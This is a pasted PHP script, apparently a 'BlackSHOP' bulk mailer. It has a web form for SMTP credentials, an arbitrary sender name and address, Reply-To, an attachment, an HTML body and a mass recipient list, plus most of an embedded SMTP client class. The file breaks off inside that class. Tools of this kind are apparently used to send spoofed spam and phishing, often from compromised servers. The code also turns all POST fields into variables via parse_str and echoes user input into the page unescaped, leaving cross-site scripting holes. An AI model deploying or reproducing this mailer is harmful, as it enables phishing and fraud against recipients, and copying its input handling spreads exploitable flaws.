· 8 years ago · Apr 06, 2018, 05:28 PM
1
2
3 <?
4 function query_str($params){
5 $str = '';
6 foreach ($params as $key => $value) {
7 $str .= (strlen($str) < 1) ? '' : '&';
8 $str .= $key . '=' . rawurlencode($value);
9 }
10 return ($str);
11 }
12 function lrtrim($string){
13 return stripslashes(ltrim(rtrim($string)));
14 }
15 if(isset($_POST['action'] ) ){
16
17 $b = query_str($_POST);
18 parse_str($b);
19 $sslclick=lrtrim($sslclick);
20 $action=lrtrim($action);
21 $message=lrtrim($message);
22 $emaillist=lrtrim($emaillist);
23 $from=lrtrim($from);
24 $reconnect=lrtrim($reconnect);
25 $epriority=lrtrim($epriority);
26 $my_smtp=lrtrim($my_smtp);
27 $ssl_port=lrtrim($ssl_port);
28 $smtp_username=lrtrim($smtp_username);
29 $smtp_password=lrtrim($smtp_password);
30 $replyto=lrtrim($replyto);
31 $subject=lrtrim($subject);
32 $realname=lrtrim($realname);
33 $file_name=$_FILES['file']['name'];
34 $file=$_FILES['file']['tmp_name'];
35 $urlz=lrtrim($urlz);
36 $contenttype=lrtrim($contenttype);
37
38 $message = urlencode($message);
39 $message = ereg_replace("%5C%22", "%22", $message);
40 $message = urldecode($message);
41 $message = stripslashes($message);
42 $subject = stripslashes($subject);
43 }
44 ?>
45
46 <html>
47
48 <head>
49
50 <title>BlackSHOP</title>
51
52 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
53
54 <style type="text/css">
55 <!--
56 .style1 {
57 font-family: Geneva, Arial, Helvetica, sans-serif;
58 font-size: 12px;
59 }
60 -->
61 </style>
62 <style type="text/css">
63 <!--
64 .style1 {
65 font-size: 10px;
66 font-family: Geneva, Arial, Helvetica, sans-serif;
67 }
68 -->
69 </style>
70 </head>
71 <body bgcolor="#FFFFFF" text="#000000">
72 <span class="style1">PHP eMailer is created by BlackSHOP<br>
73 brought to you by <font color=\"#800000\">http://www.BlackSHOP.cc/</font></span>
74 <form name="form1" method="post" action="" enctype="multipart/form-data">
75
76 <br>
77
78 <table width="100%" border="0" height="407">
79
80 <tr>
81
82 <td width="100%" colspan="4" bgcolor="#666666" height="36">
83
84 <b>
85
86 <font face="Arial" size="2" color="#FFFFFF"> SMTP SETUP</font></b></td>
87
88 </tr>
89 <tr>
90
91 <td width="10%" height="22" bgcolor="#E8E8E8">
92
93 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
94
95 </td>
96
97 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
98
99 <input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
100
101 </font></td>
102
103 <td width="31%" height="22" bgcolor="#E8E8E8">
104
105 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
106
107 </td>
108
109 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
110
111 <input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
112
113 </font></td>
114
115 </tr>
116 <tr>
117
118 <td width="10%" height="22" bgcolor="#E8E8E8">
119
120 <div align="right">
121 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
122
123 </td>
124
125 <td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
126
127 <input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
128 (optional)</font></td>
129
130 <td width="31%" height="22" bgcolor="#E8E8E8">
131
132 <div align="right">
133 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
134 Smtp:</font></div>
135
136 </td>
137
138 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
139
140 <input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
141
142 </font></td>
143
144 </tr>
145 <tr>
146
147 <td width="10%" height="22" bgcolor="#E8E8E8">
148
149 <p align="right">
150 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
151
152 <td width="18%" height="22" bgcolor="#E8E8E8">
153 <input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
154
155 <td width="31%" height="22" bgcolor="#E8E8E8">
156
157 <p align="right">
158 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
159 After:</font></td>
160
161 <td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
162
163 <input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
164 EMAILS</font></td>
165
166 </tr>
167 <tr>
168
169 <td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
170
171 <p align="center">
172 <font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
173 you dont have SMTP login, leave blank queries above <b>"</b></font></td>
174
175 </tr>
176
177 <tr>
178
179 <td width="10%" height="19">
180
181 </td>
182
183 <td width="18%" height="19"> </td>
184
185 <td width="31%" height="19">
186
187 </td>
188
189 <td width="41%" height="19"> </td>
190
191 </tr>
192
193 <tr>
194
195 <td width="100%" colspan="4" bgcolor="#666666" height="36">
196
197 <b>
198
199 <font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
200
201 </tr>
202 <tr>
203
204 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
205 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Attach File :</font></div>
206 </td>
207
208 <td width="59%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8" colSpan="3">
209 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
210
211 <input type="file" name="file" size="124">
212
213 </font></td>
214
215 </tr>
216 <tr>
217
218 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
219
220 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
221
222 Email:</font></div>
223
224 </td>
225
226 <td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
227
228 <input type="text" name="from" value="<?=$from;?>" size="30">
229
230 </font></td>
231
232 <td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
233
234 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Your
235
236 Name:</font></div>
237
238 </td>
239
240 <td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
241
242 <input type="text" name="realname" value="<?=$realname;?>" size="30">
243
244 </font></td>
245
246 </tr>
247 <tr>
248
249 <td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
250
251 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Reply-To:</font></div>
252
253 </td>
254
255 <td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
256
257 <input type="text" name="replyto" value="<?=$replyto;?>" size="30">
258
259 </font></td>
260
261 <td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
262
263 <p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
264 Email Priority:</font></td>
265
266 <td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
267
268 </font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
269 <option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >- Please Choose -</option>
270 <option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
271 <option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
272 <option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
273 </select></td>
274
275 </tr>
276
277 <tr>
278
279 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
280
281 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">Subject:</font></div>
282
283 </td>
284
285 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
286
287 <input type="text" name="subject" value="<?=$subject;?>" size="90">
288
289 </font></td>
290
291 </tr>
292
293 <tr>
294
295 <td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
296
297 </td>
298
299 <td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
300
301 </font></td>
302
303 </tr>
304
305 <tr valign="top">
306
307 <td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
308
309 <textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
310
311 <br>
312
313 <input type="radio" name="contenttype" value="plain" >
314
315 Plain
316
317 <input type="radio" name="contenttype" value="html" checked>
318
319 HTML
320
321 <input type="hidden" name="action" value="send">
322
323 <input type="submit" value="Send Message">
324
325 </font></td>
326
327 <td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
328
329 <textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
330
331 </font></td>
332
333 </tr>
334
335 </table>
336
337 </form>
338
339
340
341 <?
342
343 if ($action){
344 if (!$from && !$subject && !$message && !$emaillist){
345 print "<script>alert('Please complete all fields before sending your message.'); </script>";
346 die(); }
347
348 class SMTP
349 {
350 /**
351 * SMTP server port
352 * @var int
353 */
354 var $SMTP_PORT = 25;
355
356 /**
357 * SMTP reply line ending
358 * @var string
359 */
360 var $CRLF = "\r\n";
361
362 /**
363 * Sets whether debugging is turned on
364 * @var bool
365 */
366 var $do_debug; # the level of debug to perform
367
368 /**
369 * Sets VERP use on/off (default is off)
370 * @var bool
371 */
372 var $do_verp = false;
373
374 /**#@+
375 * @access private
376 */
377 var $smtp_conn; # the socket to the server
378 var $error; # error if any on the last call
379 var $helo_rply; # the reply the server sent to us for HELO
380 /**#@-*/
381
382 /**
383 * Initialize the class so that the data is in a known state.
384 * @access public
385 * @return void
386 */
387 function SMTP() {
388 $this->smtp_conn = 0;
389 $this->error = null;
390 $this->helo_rply = null;
391
392 $this->do_debug = 0;
393 }
394
395 /*************************************************************
396 * CONNECTION FUNCTIONS *
397 ***********************************************************/
398
399 /**
400 * Connect to the server specified on the port specified.
401 * If the port is not specified use the default SMTP_PORT.
402 * If tval is specified then a connection will try and be
403 * established with the server for that number of seconds.
404 * If tval is not specified the default is 30 seconds to
405 * try on the connection.
406 *
407 * SMTP CODE SUCCESS: 220
408 * SMTP CODE FAILURE: 421
409 * @access public
410 * @return bool
411 */
412 function Connect($host,$port=0,$tval=30) {
413 # set the error val to null so there is no confusion
414 $this->error = null;
415
416 # make sure we are __not__ connected
417 if($this->connected()) {
418 # ok we are connected! what should we do?
419 # for now we will just give an error saying we
420 # are already connected
421 $this->error = array("error" => "Already connected to a server");
422 return false;
423 }
424
425 if(empty($port)) {
426 $port = $this->SMTP_PORT;
427 }
428
429 #connect to the smtp server
430 $this->smtp_conn = fsockopen($host, # the host of the server
431 $port, # the port to use
432 $errno, # error number if any
433 $errstr, # error message if any
434 $tval); # give up after ? secs
435 # verify we connected properly
436 if(empty($this->smtp_conn)) {
437 $this->error = array("error" => "Failed to connect to server",
438 "errno" => $errno,
439 "errstr" => $errstr);
440 if($this->do_debug >= 1) {
441 echo "SMTP -> ERROR: " . $this->error["error"] .
442 ": $errstr ($errno)" . $this->CRLF;
443 }
444 return false;
445 }
446
447 # sometimes the SMTP server takes a little longer to respond
448 # so we will give it a longer timeout for the first read
449 // Windows still does not have support for this timeout function
450 if(substr(PHP_OS, 0, 3) != "WIN")
451 socket_set_timeout($this->smtp_conn, $tval, 0);
452
453 # get any announcement stuff
454 $announce = $this->get_lines();
455
456 # set the timeout of any socket functions at 1/10 of a second
457 //if(function_exists("socket_set_timeout"))
458 // socket_set_timeout($this->smtp_conn, 0, 100000);
459
460 if($this->do_debug >= 2) {
461 echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
462 }
463
464 return true;
465 }
466
467 /**
468 * Performs SMTP authentication. Must be run after running the
469 * Hello() method. Returns true if successfully authenticated.
470 * @access public
471 * @return bool
472 */
473 function Authenticate($username, $password) {
474 // Start authentication
475 fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
476
477 $rply = $this->get_lines();
478 $code = substr($rply,0,3);
479
480 if($code != 334) {
481 $this->error =
482 array("error" => "AUTH not accepted from server",
483 "smtp_code" => $code,
484 "smtp_msg" => substr($rply,4));
485 if($this->do_debug >= 1) {
486 echo "SMTP -> ERROR: " . $this->error["error"] .
487 ": " . $rply . $this->CRLF;
488 }
489 return false;
490 }
491
492 // Send encoded username
493 fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
494
495 $rply = $this->get_lines();
496 $code = substr($rply,0,3);
497
498 if($code != 334) {
499 $this->error =
500 array("error" => "Username not accepted from server",
501 "smtp_code" => $code,
502 "smtp_msg" => substr($rply,4));
503 if($this->do_debug >= 1) {
504 echo "SMTP -> ERROR: " . $this->error["error"] .
505 ": " . $rply . $this->CRLF;
506 }
507 return false;
508 }
509
510 // Send encoded password
511 fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
512
513 $rply = $this->get_lines();
514 $code = substr($rply,0,3);
515
516 if($code != 235) {
517 $this->error =
518 array("error" => "Password not accepted from server",
519 "smtp_code" => $code,
520 "smtp_msg" => substr($rply,4));
521 if($this->do_debug >= 1) {
522 echo "SMTP -> ERROR: " . $this->error["error"] .
523 ": " . $rply . $this->CRLF;
524 }
525 return false;
526 }
527
528 return true;
529 }
530
531 /**
532 * Returns true if connected to a server otherwise false
533 * @access private
534 * @return bool
535 */
536 function Connected() {
537 if(!empty($this->smtp_conn)) {
538 $sock_status = socket_get_status($this->smtp_conn);
539 if($sock_status["eof"]) {
540 # hmm this is an odd situation... the socket is
541 # valid but we are not connected anymore
542 if($this->do_debug >= 1) {
543 echo "SMTP -> NOTICE:" . $this->CRLF .
544 "EOF caught while checking if connected";
545 }
546 $this->Close();
547 return false;
548 }
549 return true; # everything looks good
550 }
551 return false;
552 }
553
554 /**
555 * Closes the socket and cleans up the state of the class.
556 * It is not considered good to use this function without
557 * first trying to use QUIT.
558 * @access public
559 * @return void
560 */
561 function Close() {
562 $this->error = null; # so there is no confusion
563 $this->helo_rply = null;
564 if(!empty($this->smtp_conn)) {
565 # close the connection and cleanup
566 fclose($this->smtp_conn);
567 $this->smtp_conn = 0;
568 }
569 }
570
571 /***************************************************************
572 * SMTP COMMANDS *
573 *************************************************************/
574
575 /**
576 * Issues a data command and sends the msg_data to the server
577 * finializing the mail transaction. $msg_data is the message
578 * that is to be send with the headers. Each header needs to be
579 * on a single line followed by a <CRLF> with the message headers
580 * and the message body being seperated by and additional <CRLF>.
581 *
582 * Implements rfc 821: DATA <CRLF>
583 *
584 * SMTP CODE INTERMEDIATE: 354
585 * [data]
586 * <CRLF>.<CRLF>
587 * SMTP CODE SUCCESS: 250
588 * SMTP CODE FAILURE: 552,554,451,452
589 * SMTP CODE FAILURE: 451,554
590 * SMTP CODE ERROR : 500,501,503,421
591 * @access public
592 * @return bool
593 */
594 function Data($msg_data) {
595 $this->error = null; # so no confusion is caused
596
597 if(!$this->connected()) {
598 $this->error = array(
599 "error" => "Called Data() without being connected");
600 return false;
601 }
602
603 fputs($this->smtp_conn,"DATA" . $this->CRLF);
604
605 $rply = $this->get_lines();
606 $code = substr($rply,0,3);
607
608 if($this->do_debug >= 2) {
609 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
610 }
611
612 if($code != 354) {
613 $this->error =
614 array("error" => "DATA command not accepted from server",
615 "smtp_code" => $code,
616 "smtp_msg" => substr($rply,4));
617 if($this->do_debug >= 1) {
618 echo "SMTP -> ERROR: " . $this->error["error"] .
619 ": " . $rply . $this->CRLF;
620 }
621 return false;
622 }
623
624 # the server is ready to accept data!
625 # according to rfc 821 we should not send more than 1000
626 # including the CRLF
627 # characters on a single line so we will break the data up
628 # into lines by \r and/or \n then if needed we will break
629 # each of those into smaller lines to fit within the limit.
630 # in addition we will be looking for lines that start with
631 # a period '.' and append and additional period '.' to that
632 # line. NOTE: this does not count towards are limit.
633
634 # normalize the line breaks so we know the explode works
635 $msg_data = str_replace("\r\n","\n",$msg_data);
636 $msg_data = str_replace("\r","\n",$msg_data);
637 $lines = explode("\n",$msg_data);
638
639 # we need to find a good way to determine is headers are
640 # in the msg_data or if it is a straight msg body
641 # currently I am assuming rfc 822 definitions of msg headers
642 # and if the first field of the first line (':' sperated)
643 # does not contain a space then it _should_ be a header
644 # and we can process all lines before a blank "" line as
645 # headers.
646 $field = substr($lines[0],0,strpos($lines[0],":"));
647 $in_headers = false;
648 if(!empty($field) && !strstr($field," ")) {
649 $in_headers = true;
650 }
651
652 $max_line_length = 998; # used below; set here for ease in change
653
654 while(list(,$line) = @each($lines)) {
655 $lines_out = null;
656 if($line == "" && $in_headers) {
657 $in_headers = false;
658 }
659 # ok we need to break this line up into several
660 # smaller lines
661 while(strlen($line) > $max_line_length) {
662 $pos = strrpos(substr($line,0,$max_line_length)," ");
663
664 # Patch to fix DOS attack
665 if(!$pos) {
666 $pos = $max_line_length - 1;
667 }
668
669 $lines_out[] = substr($line,0,$pos);
670 $line = substr($line,$pos + 1);
671 # if we are processing headers we need to
672 # add a LWSP-char to the front of the new line
673 # rfc 822 on long msg headers
674 if($in_headers) {
675 $line = "\t" . $line;
676 }
677 }
678 $lines_out[] = $line;
679
680 # now send the lines to the server
681 while(list(,$line_out) = @each($lines_out)) {
682 if(strlen($line_out) > 0)
683 {
684 if(substr($line_out, 0, 1) == ".") {
685 $line_out = "." . $line_out;
686 }
687 }
688 fputs($this->smtp_conn,$line_out . $this->CRLF);
689 }
690 }
691
692 # ok all the message data has been sent so lets get this
693 # over with aleady
694 fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
695
696 $rply = $this->get_lines();
697 $code = substr($rply,0,3);
698
699 if($this->do_debug >= 2) {
700 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
701 }
702
703 if($code != 250) {
704 $this->error =
705 array("error" => "DATA not accepted from server",
706 "smtp_code" => $code,
707 "smtp_msg" => substr($rply,4));
708 if($this->do_debug >= 1) {
709 echo "SMTP -> ERROR: " . $this->error["error"] .
710 ": " . $rply . $this->CRLF;
711 }
712 return false;
713 }
714 return true;
715 }
716
717 /**
718 * Expand takes the name and asks the server to list all the
719 * people who are members of the _list_. Expand will return
720 * back and array of the result or false if an error occurs.
721 * Each value in the array returned has the format of:
722 * [ <full-name> <sp> ] <path>
723 * The definition of <path> is defined in rfc 821
724 *
725 * Implements rfc 821: EXPN <SP> <string> <CRLF>
726 *
727 * SMTP CODE SUCCESS: 250
728 * SMTP CODE FAILURE: 550
729 * SMTP CODE ERROR : 500,501,502,504,421
730 * @access public
731 * @return string array
732 */
733 function Expand($name) {
734 $this->error = null; # so no confusion is caused
735
736 if(!$this->connected()) {
737 $this->error = array(
738 "error" => "Called Expand() without being connected");
739 return false;
740 }
741
742 fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
743
744 $rply = $this->get_lines();
745 $code = substr($rply,0,3);
746
747 if($this->do_debug >= 2) {
748 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
749 }
750
751 if($code != 250) {
752 $this->error =
753 array("error" => "EXPN not accepted from server",
754 "smtp_code" => $code,
755 "smtp_msg" => substr($rply,4));
756 if($this->do_debug >= 1) {
757 echo "SMTP -> ERROR: " . $this->error["error"] .
758 ": " . $rply . $this->CRLF;
759 }
760 return false;
761 }
762
763 # parse the reply and place in our array to return to user
764 $entries = explode($this->CRLF,$rply);
765 while(list(,$l) = @each($entries)) {
766 $list[] = substr($l,4);
767 }
768
769 return $list;
770 }
771
772 /**
773 * Sends the HELO command to the smtp server.
774 * This makes sure that we and the server are in
775 * the same known state.
776 *
777 * Implements from rfc 821: HELO <SP> <domain> <CRLF>
778 *
779 * SMTP CODE SUCCESS: 250
780 * SMTP CODE ERROR : 500, 501, 504, 421
781 * @access public
782 * @return bool
783 */
784 function Hello($host="") {
785 $this->error = null; # so no confusion is caused
786
787 if(!$this->connected()) {
788 $this->error = array(
789 "error" => "Called Hello() without being connected");
790 return false;
791 }
792
793 # if a hostname for the HELO was not specified determine
794 # a suitable one to send
795 if(empty($host)) {
796 # we need to determine some sort of appopiate default
797 # to send to the server
798 $host = "localhost";
799 }
800
801 // Send extended hello first (RFC 2821)
802 if(!$this->SendHello("EHLO", $host))
803 {
804 if(!$this->SendHello("HELO", $host))
805 return false;
806 }
807
808 return true;
809 }
810
811 /**
812 * Sends a HELO/EHLO command.
813 * @access private
814 * @return bool
815 */
816 function SendHello($hello, $host) {
817 fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
818
819 $rply = $this->get_lines();
820 $code = substr($rply,0,3);
821
822 if($this->do_debug >= 2) {
823 echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
824 }
825
826 if($code != 250) {
827 $this->error =
828 array("error" => $hello . " not accepted from server",
829 "smtp_code" => $code,
830 "smtp_msg" => substr($rply,4));
831 if($this->do_debug >= 1) {
832 echo "SMTP -> ERROR: " . $this->error["error"] .
833 ": " . $rply . $this->CRLF;
834 }
835 return false;
836 }
837
838 $this->helo_rply = $rply;
839
840 return true;
841 }
842
843 /**
844 * Gets help information on the keyword specified. If the keyword
845 * is not specified then returns generic help, ussually contianing
846 * A list of keywords that help is available on. This function
847 * returns the results back to the user. It is up to the user to
848 * handle the returned data. If an error occurs then false is
849 * returned with $this->error set appropiately.
850 *
851 * Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
852 *
853 * SMTP CODE SUCCESS: 211,214
854 * SMTP CODE ERROR : 500,501,502,504,421
855 * @access public
856 * @return string
857 */
858 function Help($keyword="") {
859 $this->error = null; # to avoid confusion
860
861 if(!$this->connected()) {
862 $this->error = array(
863 "error" => "Called Help() without being connected");
864 return false;
865 }
866
867 $extra = "";
868 if(!empty($keyword)) {
869 $extra = " " . $keyword;
870 }
871
872 fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
873
874 $rply = $this->get_lines();
875 $code = substr($rply,0,3);
876
877 if($this->do_debug >= 2) {
878 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
879 }
880
881 if($code != 211 && $code != 214) {
882 $this->error =
883 array("error" => "HELP not accepted from server",
884 "smtp_code" => $code,
885 "smtp_msg" => substr($rply,4));
886 if($this->do_debug >= 1) {
887 echo "SMTP -> ERROR: " . $this->error["error"] .
888 ": " . $rply . $this->CRLF;
889 }
890 return false;
891 }
892
893 return $rply;
894 }
895
896 /**
897 * Starts a mail transaction from the email address specified in
898 * $from. Returns true if successful or false otherwise. If True
899 * the mail transaction is started and then one or more Recipient
900 * commands may be called followed by a Data command.
901 *
902 * Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
903 *
904 * SMTP CODE SUCCESS: 250
905 * SMTP CODE SUCCESS: 552,451,452
906 * SMTP CODE SUCCESS: 500,501,421
907 * @access public
908 * @return bool
909 */
910 function Mail($from) {
911 $this->error = null; # so no confusion is caused
912
913 if(!$this->connected()) {
914 $this->error = array(
915 "error" => "Called Mail() without being connected");
916 return false;
917 }
918
919 $useVerp = ($this->do_verp ? "XVERP" : "");
920 fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
921
922 $rply = $this->get_lines();
923 $code = substr($rply,0,3);
924
925 if($this->do_debug >= 2) {
926 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
927 }
928
929 if($code != 250) {
930 $this->error =
931 array("error" => "MAIL not accepted from server",
932 "smtp_code" => $code,
933 "smtp_msg" => substr($rply,4));
934 if($this->do_debug >= 1) {
935 echo "SMTP -> ERROR: " . $this->error["error"] .
936 ": " . $rply . $this->CRLF;
937 }
938 return false;
939 }
940 return true;
941 }
942
943 /**
944 * Sends the command NOOP to the SMTP server.
945 *
946 * Implements from rfc 821: NOOP <CRLF>
947 *
948 * SMTP CODE SUCCESS: 250
949 * SMTP CODE ERROR : 500, 421
950 * @access public
951 * @return bool
952 */
953 function Noop() {
954 $this->error = null; # so no confusion is caused
955
956 if(!$this->connected()) {
957 $this->error = array(
958 "error" => "Called Noop() without being connected");
959 return false;
960 }
961
962 fputs($this->smtp_conn,"NOOP" . $this->CRLF);
963
964 $rply = $this->get_lines();
965 $code = substr($rply,0,3);
966
967 if($this->do_debug >= 2) {
968 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
969 }
970
971 if($code != 250) {
972 $this->error =
973 array("error" => "NOOP not accepted from server",
974 "smtp_code" => $code,
975 "smtp_msg" => substr($rply,4));
976 if($this->do_debug >= 1) {
977 echo "SMTP -> ERROR: " . $this->error["error"] .
978 ": " . $rply . $this->CRLF;
979 }
980 return false;
981 }
982 return true;
983 }
984
985 /**
986 * Sends the quit command to the server and then closes the socket
987 * if there is no error or the $close_on_error argument is true.
988 *
989 * Implements from rfc 821: QUIT <CRLF>
990 *
991 * SMTP CODE SUCCESS: 221
992 * SMTP CODE ERROR : 500
993 * @access public
994 * @return bool
995 */
996 function Quit($close_on_error=true) {
997 $this->error = null; # so there is no confusion
998
999 if(!$this->connected()) {
1000 $this->error = array(
1001 "error" => "Called Quit() without being connected");
1002 return false;
1003 }
1004
1005 # send the quit command to the server
1006 fputs($this->smtp_conn,"quit" . $this->CRLF);
1007
1008 # get any good-bye messages
1009 $byemsg = $this->get_lines();
1010
1011 if($this->do_debug >= 2) {
1012 echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
1013 }
1014
1015 $rval = true;
1016 $e = null;
1017
1018 $code = substr($byemsg,0,3);
1019 if($code != 221) {
1020 # use e as a tmp var cause Close will overwrite $this->error
1021 $e = array("error" => "SMTP server rejected quit command",
1022 "smtp_code" => $code,
1023 "smtp_rply" => substr($byemsg,4));
1024 $rval = false;
1025 if($this->do_debug >= 1) {
1026 echo "SMTP -> ERROR: " . $e["error"] . ": " .
1027 $byemsg . $this->CRLF;
1028 }
1029 }
1030
1031 if(empty($e) || $close_on_error) {
1032 $this->Close();
1033 }
1034
1035 return $rval;
1036 }
1037
1038 /**
1039 * Sends the command RCPT to the SMTP server with the TO: argument of $to.
1040 * Returns true if the recipient was accepted false if it was rejected.
1041 *
1042 * Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
1043 *
1044 * SMTP CODE SUCCESS: 250,251
1045 * SMTP CODE FAILURE: 550,551,552,553,450,451,452
1046 * SMTP CODE ERROR : 500,501,503,421
1047 * @access public
1048 * @return bool
1049 */
1050 function Recipient($to) {
1051 $this->error = null; # so no confusion is caused
1052
1053 if(!$this->connected()) {
1054 $this->error = array(
1055 "error" => "Called Recipient() without being connected");
1056 return false;
1057 }
1058
1059 fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
1060
1061 $rply = $this->get_lines();
1062 $code = substr($rply,0,3);
1063
1064 if($this->do_debug >= 2) {
1065 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1066 }
1067
1068 if($code != 250 && $code != 251) {
1069 $this->error =
1070 array("error" => "RCPT not accepted from server",
1071 "smtp_code" => $code,
1072 "smtp_msg" => substr($rply,4));
1073 if($this->do_debug >= 1) {
1074 echo "SMTP -> ERROR: " . $this->error["error"] .
1075 ": " . $rply . $this->CRLF;
1076 }
1077 return false;
1078 }
1079 return true;
1080 }
1081
1082 /**
1083 * Sends the RSET command to abort and transaction that is
1084 * currently in progress. Returns true if successful false
1085 * otherwise.
1086 *
1087 * Implements rfc 821: RSET <CRLF>
1088 *
1089 * SMTP CODE SUCCESS: 250
1090 * SMTP CODE ERROR : 500,501,504,421
1091 * @access public
1092 * @return bool
1093 */
1094 function Reset() {
1095 $this->error = null; # so no confusion is caused
1096
1097 if(!$this->connected()) {
1098 $this->error = array(
1099 "error" => "Called Reset() without being connected");
1100 return false;
1101 }
1102
1103 fputs($this->smtp_conn,"RSET" . $this->CRLF);
1104
1105 $rply = $this->get_lines();
1106 $code = substr($rply,0,3);
1107
1108 if($this->do_debug >= 2) {
1109 echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
1110 }
1111
1112 if($code != 250) {
1113 $this->error =
1114 array("error" => "RSET failed",
1115 "smtp_code" => $code,
1116 "smtp_msg" => substr($rply,4));
1117 if($this->do_debug >= 1) {
1118 echo "SMTP -> ERROR: " . $this->error["error"] .
1119 ": " . $rply . $this->CRLF;
1120 }
1121 return false;
1122 }
1123
1124 return true;
1125 }
1126
1127 /**
1128 * Starts a mail transaction from the email address specified in
1129 * $from. Returns true if successful or false otherwise. If True
1130 * the mail transaction is started and then one or more Recipient
1131 * commands may be called followed by a Data command. This command
1132 * will send the message to the users terminal if they are logged
1133 * in.
1134 *
1135 * Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
1136 *
1137 * SMTP CODE SUCCESS: 250
1138 * SMTP CODE SUCCESS: 552,451,452
1139 * SMTP CODE SUCCESS: 500,501,502,421
1140 * @access public
1141 * @return bool
1142 */
1143 function Send($from) {
1144 $this->error = null; # so no confusion is caused
1145
1146 if(!$this->connected()) {
1147 $this->error = array(
1148 "error" => "Called Send() without being connected");
1149 return false;
1150 }
1151
